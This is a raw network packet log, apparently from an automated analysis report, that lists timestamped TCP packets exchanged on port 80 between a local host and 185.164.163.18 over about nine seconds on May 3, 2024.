May 3, 2024 23:26:51.779871941 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.779907942 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.779918909 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.785582066 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.785624027 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.785696983 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.785737991 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.785742044 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.785775900 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.948653936 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.948761940 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.948801041 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.948826075 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.948826075 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.948846102 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.948883057 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.948918104 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.949074984 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.949107885 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.949593067 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.949631929 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.949687958 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.949723005 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.949789047 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.949822903 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.949901104 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.949938059 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.950012922 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.950047970 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.950104952 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.950141907 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.955303907 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.955341101 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.955424070 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.955459118 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.955480099 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.955509901 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.955542088 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.955576897 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:51.955634117 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:51.955686092 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:52.120332956 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.120352983 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.120367050 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.120404959 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:52.120939970 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.120984077 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:52.121067047 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.121225119 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.121258974 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:52.121409893 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.127048969 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.127090931 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:52.127178907 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.127316952 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.127329111 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.127351999 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:52.171683073 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:52.291364908 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.291384935 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.291398048 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.291413069 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.291424990 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.291436911 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.291452885 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:52.291481972 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:52.298162937 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.298176050 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.298187971 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.298202038 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.298209906 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:52.298235893 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:52.341721058 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.341737986 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.341814995 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:52.465269089 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.465307951 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.465321064 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.465353012 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:52.465377092 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.465410948 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.465423107 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.465508938 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:52.465508938 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:52.472620010 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.472635031 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.472647905 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.472671032 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:52.472690105 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.472723961 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:52.519123077 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.519139051 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.519175053 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.519191980 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:52.562410116 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:52.636502028 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.636590004 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.636727095 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:52.640311003 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.640347004 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.640358925 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:52.640378952 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.640382051 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:52.640408039 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.640429020 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:52.640441895 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:52.643207073 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.643246889 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:52.643249035 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.643284082 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:52.643300056 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.643335104 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:52.643346071 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.643378019 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:52.690973997 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.690985918 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.691104889 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:52.691104889 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:52.807795048 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.807811975 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.807946920 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:52.807948112 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:52.811227083 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.811265945 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:52.814325094 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.814376116 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:52.862453938 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.862512112 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:52.980519056 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.980817080 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:52.983803988 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:52.983967066 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:53.034449100 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:53.034526110 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:53.150901079 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:53.151211977 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:53.153726101 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:53.153774977 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:53.321882963 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:53.322056055 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:53.324201107 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:53.324242115 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:53.491584063 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:53.491877079 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:53.493531942 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:53.546713114 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:53.661098957 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:53.661114931 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:53.661125898 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:53.661137104 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:53.661149025 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:53.661159039 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:53.661171913 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:53.661283016 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:53.661283016 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:53.717971087 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:53.718200922 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:53.834105968 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:53.834144115 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:53.834233999 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:53.834250927 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:53.834311008 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:53.834311008 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:53.834322929 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:53.834359884 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:53.834419966 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:53.834461927 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:53.834487915 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:53.834539890 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:53.834570885 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:53.834605932 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:53.834670067 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:53.834707022 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:53.886655092 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:53.886713982 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:53.889602900 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:53.937321901 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:54.003971100 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:54.003992081 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:54.004034996 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:54.004043102 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:54.004055977 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:54.004089117 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:54.004328012 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:54.056107998 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:54.109297991 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:54.175158024 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:54.175271034 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:54.175285101 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:54.175312996 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:54.175438881 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:54.175440073 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:54.175482988 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:54.175559044 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:54.175657988 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:54.280864000 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:54.281063080 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:54.345757008 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:54.345793962 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:54.345807076 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:54.345818996 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:54.345839024 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:54.345870018 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:54.451056004 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:54.499953032 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:54.516289949 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:54.516335011 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:54.516349077 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:54.516360044 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:54.516383886 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:54.516407013 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:54.665839911 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:54.665863991 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:54.665930033 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:54.682115078 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:54.682136059 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:54.682202101 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:54.682208061 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:54.682451010 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:54.682496071 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:54.838087082 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:54.838112116 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:54.838191032 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:54.853837013 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:54.853980064 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:54.854032040 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:55.008276939 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:55.008292913 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:55.008358002 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:55.024092913 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:55.024116993 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:55.024175882 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:55.024207115 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:55.174319983 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:55.174376965 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:55.174402952 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:55.174428940 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:55.189729929 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:55.234199047 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:55.402729988 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:55.402748108 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:55.402826071 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:55.573235035 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:55.573251009 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:55.573323011 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:55.740809917 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:55.740827084 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:55.740895033 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:55.740988970 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:55.781080961 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:55.912364960 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:55.951467037 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:55.951574087 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:56.121041059 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:56.121057034 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:56.121129036 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:56.173269033 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:56.173378944 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:56.285813093 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:56.328094006 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:56.338165045 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:56.390535116 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:56.494949102 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:56.495104074 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:56.558983088 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:56.559158087 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:56.659991026 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:56.660193920 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:56.713315964 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:56.713486910 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:56.825138092 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:56.874921083 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:56.880481958 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:56.921782017 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:57.047790051 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:57.048058987 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:57.048120975 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:57.092444897 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:57.140450954 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:57.218914032 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:57.218929052 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:57.218983889 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:57.309464931 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:57.359194994 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:57.391654015 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:57.437311888 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:57.529063940 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:57.529128075 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:57.607310057 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:57.607377052 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:57.700802088 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:57.700879097 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:57.776881933 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:57.827939987 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:57.871720076 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:57.921695948 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:57.997894049 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:57.997932911 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:57.998025894 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:58.092529058 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:58.140465975 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:58.167869091 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:58.167884111 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:58.167941093 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:58.310749054 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:58.338074923 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:58.338140965 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:58.509527922 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:58.509592056 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:58.509684086 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:58.509725094 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:58.679406881 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:58.679563046 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:58.849987030 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:58.850071907 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:59.019913912 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:59.020021915 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:59.020076990 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:59.187200069 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:59.187303066 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:59.187316895 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:59.187355995 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:59.234215021 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:59.357654095 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:59.357741117 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:59.357786894 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:59.405162096 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:59.452965021 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:59.522881031 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:59.523093939 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:59.523135900 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:59.618877888 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:59.671725988 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:59.691081047 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:59.691214085 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:59.691293955 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:59.841516018 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:59.841646910 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:59.861180067 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:59.861244917 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:59.861397982 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:59.861438990 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:26:59.916645050 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:26:59.916796923 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:00.033232927 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:00.077964067 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:00.088311911 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:00.140528917 CEST	49730	80	192.168.2.4	185.164.163.18
